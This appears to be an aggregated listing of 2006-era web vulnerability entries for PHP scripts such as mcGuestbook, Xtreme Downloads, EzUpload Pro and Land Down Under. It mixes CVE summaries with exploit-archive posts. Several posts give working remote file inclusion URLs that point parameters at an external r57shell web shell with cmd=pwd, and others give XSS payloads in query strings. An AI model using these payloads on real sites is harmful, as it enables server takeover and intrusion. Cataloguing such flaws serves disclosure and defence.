file include exploits in mcGuestbook 1.3

Multiple file include exploits in mcGuestbook 1.3 script type : mcGuestbook 1.3 bug found by : sweet-devil team : site-down type : file include exploits : admin.php http://www.example.com/path/admin.php?lang=http://yoursite/r57shell.txt? ecrire.php...

xtreme10.txt

Multiple file include exploits in Xtreme Downloads v.1.0 script type : Xtreme Downloads v.1.0 bug found by : sweet-devil & black-code team : site-down type : file include exploits : download.php http://www.example.com/path/download.php?root=http://yoursite/r57shell.txt? manager.php...

Design/Logic Flaw

Unspecified vulnerability in Sun Grid Engine 5.3 and Sun N1 Grid Engine 6.0, when configured in Certificate Security Protocol CSP Mode, allows local users to shut down the grid service or gain access, even if access is denied...

CVE-2006-2930

Technical details about CVE-2006-2930 are not publicly available in the provided documents. Connected sources reference maintenance patches for Sun Grid Engine 6.0 but do not specify root cause, affected versions, or fixes. Monitor for updates.

file include in Xtreme Downloads v.1.0

Multiple file include exploits in Xtreme Downloads v.1.0 script type : Xtreme Downloads v.1.0 bug found by : sweet-devil team : site-down type : file include exploits : download.php http://www.example.com/path/download.php?root=http://yoursite/r57shell.txt? manager.php...

file include exploit in Support Cards v1

file include exploit in Support Cards v1 forum type : Support cards v1 bug found by : sweet-devil team : site-down type : file include exploit : http://www.example.com/support/include/openform.php?includedir=http://ursite/evilscript.txt?cmd=pwd emails: [email protected] & [email protected]...

Xss exploit in Chipmunk directory

Xss exploit in Chipmunk directory forum type : Chipmunk directory bug found by : black-code team : site-down type : Xss black-code: codes : http://www.example.com/directory/index.php?catid=catid&start='scriptalert10/script path to admin login: http://www.xxx.com/path/admin All my respect to my...

CVE-2006-2634

Cross-site scripting XSS vulnerability in Neocrome Land Down Under LDU in Neocrome Seditio 102 allows remote attackers to inject arbitrary web script or HTML via an HTTP Referer field...

CVE-2006-2634

The vulnerability CVE-2006-2634 is an XSS flaw in Neocrome Land Down Under (LDU) within Neocrome Seditio 102, exploitable via an HTTP Referer header to inject arbitrary script/HTML. The impact stated is that remote attackers can execute script in a victim’s browser. The connected documents confir...

Xss exploit in Photoalbum B&W v1.3

Xss exploit in Photoalbum B&W v1.3 forum type : Photoalbum B&W v1.3 bug found by : black-code & sweet-devil team : site-down type : Xss exploit : http://www.example.com/superalbum/index.php?pic='scriptalert10/script path to admin login: emails: [email protected] & [email protected] All my...

Multiple Xss exploits in ar-blog v 5.2

Multiple Xss exploits in ar-blog v 5.2 forum type : ar-blog v 5.2 bug found by : black-code team : site-down type : Xss black-code: http://www.xxx.com/path/index.php?page=gb&count=next='scriptalert10/script http://www.xxx.com/path/index.php?page=gb&count='scriptalert10/script...

multiple file include exploits in EzUpload Pro v2.10

multiple file include exploits in EzUpload Pro v2.10 forum type : EzUpload Pro v2.10 bug found by : black-code & sweet-devil team : site-down type : file include exploits : form.php http://www.example.com/path/form.php?path=http://rst.void.ru/download/r57shell.txt?&cmd=pwd customize.php...

CVE-2006-2096

plug.php in Land Down Under LDU 802 and earlier allows remote attackers to obtain sensitive information via an invalid 1 month or 2 year parameter, which reveals the path in an error message...

CVE-2006-2096

The CVE-2006-2096 entry affects Land Down Under (LDU) 802 and earlier. The vulnerability is in plug.php where an invalid month or year parameter can cause an error message to disclose the system path, enabling information disclosure. The provided sources describe this as a remote information-leak...

Land Down Under 802 and below version Path Disclosure Vulnerability

Land Down Under 802 and below version Path Disclosure Vulnerability ------------------------------------------------------------------------------------------------------------------------------- Aria-Security.net Advisory Discovered by:R@1D3N amin emami date:21/04/2006 original...

Apple Mac OSX Safari 2.0.3 (417.9.2) - ROWSPAN Denial of Service (PoC)

Apple Mac OSX Safari 2.0.3 417.9.2 - ROWSPAN Denial of Service PoC milw0rm.com 2006-04-24...

Land Down Under <= 800 Multiple Vulnerabilities

The remote web server contains a PHP script that permits SQL injection and cross-site scripting attacks. Description : The remote version of Land Down Under is prone to various SQL injection and cross-site scripting attacks provided PHP's 'magicquotes' setting is disabled due to its failure to...

Land Down Under <= 801 Multiple Vulnerabilities

The remote web server contains several PHP scripts that permit SQL injection and cross-site scripting attacks. Description : The remote version of Land Down Under is prone to several SQL injection and cross-site scripting attacks due to its failure to sanitize user-supplied input to several...

Land Down Under <= 800 Multiple Vulnerabilities

The remote version of Land Down Under is prone to various SQL injection and cross-site scripting attacks provided PHP SPDX-FileCopyrightText: 2005 Josh Zlatin-Amishav Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders...

CVE-2005-4711

SQL injection vulnerability in Neocrome Land Down Under LDU 801 allows remote attackers to execute arbitrary SQL commands via an HTTP Referer header. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...